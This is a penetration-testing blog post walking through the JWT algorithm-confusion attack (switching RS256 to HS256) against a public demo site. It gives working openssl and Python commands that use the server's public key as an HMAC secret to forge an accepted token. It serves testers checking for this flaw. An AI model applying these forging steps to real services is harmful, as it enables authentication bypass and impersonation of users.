JWT Attack Walk-Through

There’s a well-known defect [1] with older versions of certain libraries where you can trick a JSON Web Token (JWT) consumer that expects tokens signed using asymmetric cryptography into accepting a symmetrically signed token. This article assumes you’re comfortable with JWTs and the theory of this attack, but the nub of it is that by switching the token algorithm from ‘RS’ to ‘HS’, a vulnerable endpoint will use its public key to verify the token in a symmetric way (and being public, that key isn’t much of a secret).

It was only recently that I came across a site (as part of a pentest) that used a public key algorithm to secure its JWTs. As with any crypto, the parties must feed exactly the right bits into the algorithm: a single bit deviation and one party will get a different result to the other. And that’s an issue with this attack: if the public key we use to spoof a signature is in any way different to the key the server is using to verify the signature, a vulnerable implementation may go unreported. It’s not the key itself of course, but the way it’s packaged. Is the server’s key encoded in the PEM or DER format? If PEM, are the new lines Windows or *nix style (i.e. 0x0A0D or 0x0A), are there any empty lines, etc.?

In general, if an attack fails during a black-box test, there are three possible reasons:

  • The target isn’t vulnerable;
  • The target is vulnerable but the attack isn’t right;
  • The target is vulnerable, the attack is right but external factors stop the attack from working.

Training and experience mean that we gain greater assurance over our methods and can discount the second possibility. To this end, Sjoerd Langkemper put up a useful demo case of the above JWT vulnerability [2,3]. I obtained his permission to write up a solution that uses OpenSSL to get full visibility of what’s happening. Obviously this particular solution won’t necessarily be the right one against another server but it’s the method that’s important here.

First, let’s get a fresh JWT from the demo site:

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3NzI5NzgyLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.gTlIh_sPPTh24OApA_w0ZZaiIrMsnl39-B8iFQ-Y9UIxybyFAO3m4rUdR8HUqJayk067SWMrMQ6kOnptcnrJl3w0SmRnQsweeVY4F0kudb_vrGmarAXHLrC6jFRfhOUebL0_uK4RUcajdrF9EQv1cc8DV2LplAuLdAkMU-TdICgAwi3JSrkafrqpFblWJiCiaacXMaz38npNqnN0l3-GqNLqJH4RLfNCWWPAx0w7bMdjv52CbhZUz3yIeUiw9nG2n80nicySLsT1TuA4-B04ngRY0-QLorKdu2MJ1qZz_3yV6at2IIbbtXpBmhtbCxUhVZHoJS2K1qkjeWpjT3h-bg

The structure is header.payload.signature with each component base64-encoded using the URL-safe scheme and any padding removed. The header and payload of the above token decodes to:

{"typ":"JWT","alg":"RS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547729782,"data":{"hello":"world"}}

Now we change the header alg value to HS256, and the payload to whatever we want – in this example, the exp and data values:

{"typ":"JWT","alg":"HS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547799999,"data":{"NCC":"test"}}

Converting this back to the JWT format, we now have a header and payload ready to go:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0

All that’s missing is the signature, and to calculate that we need the public key the server is using. It could be that this is freely available because, for example, there may be times when users need to verify JWTs issued by the site. Another potential source is the server’s TLS certificate, which may be being re-used for JWT operations:

openssl s_client -connect <hostname>:443

Copy the “Server certificate” output to a file (e.g. cert.pem) and extract the public key (to a file called key.pem) by running:

openssl x509 -in cert.pem -pubkey –noout > key.pem

In the case of a pentest, it would be perfectly reasonable to ask the client about the JWT library and version in use. If known to be vulnerable, or if there’s any doubt, the key the server uses for JWT verification could also be requested (after all, it’s a public key) to help with assessing whether an exploitable condition exists.

Fortunately, the public key used by the demo JWT service is made easily available [4] (which we save to a file called key.pem): 

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqi8TnuQBGXOGx/Lfn4JF
NYOH2V1qemfs83stWc1ZBQFCQAZmUr/sgbPypYzy229pFl6bGeqpiRHrSufHug7c
1LCyalyUEP+OzeqbEhSSuUss/XyfzybIusbqIDEQJ+Yex3CdgwC/hAF3xptV/2t+
H6y0Gdh1weVKRM8+QaeWUxMGOgzJYAlUcRAP5dRkEOUtSKHBFOFhEwNBXrfLd76f
ZXPNgyN0TzNLQjPQOy/tJ/VFq8CQGE4/K5ElRSDlj4kswxonWXYAUVxnqRN1LGHw
2G5QRE2D13sKHCC8ZrZXJzj67Hrq5h2SADKzVzhA8AW3WZlPLrlFT3t1+iZ6m+aF
KwIDAQAB
-----END PUBLIC KEY----

Let’s turn it into ASCII hex:

cat key.pem | xxd -p | tr -d "\\n"

In this case we get:

2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

By supplying the public key as ASCII hex to our signing operation, we can see and completely control the bytes (as well as handle them in a safe way on the command line). Note, for example, the final new line 0x0A in our public key – does the server’s public key include this? Let’s assume so in this first attempt. Now let’s sign the JWT:

echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

The output – that is, the HMAC signature – is:

db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f

A one-liner to turn this ASCII hex signature into the JWT format is:

python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")"

The output is:

2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8

The crafted JWT is now ready:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8

When we submit this to the server, it’s accepted! (It will fail if you submit it now because it will have expired.)

Figure 1: Crafted JWT accepted

If our public key had been missing the final 0x0A, the attack would have failed as we would have calculated a different (invalid) signature. But following such a failure, the method outlined above allows us to try different variations of the public key in a controlled fashion to try to match the server’s format. However you may come to test for this vulnerability in the future, and whatever method you actually use, hopefully this post will help to avoid false negatives.

[1] https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/

[2] https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/

[3] https://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php

[4] https://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

Published date:  24 January 2019

Written by:  Jerome Smith

comments powered by Disqus

Filter By Service

Filter By Date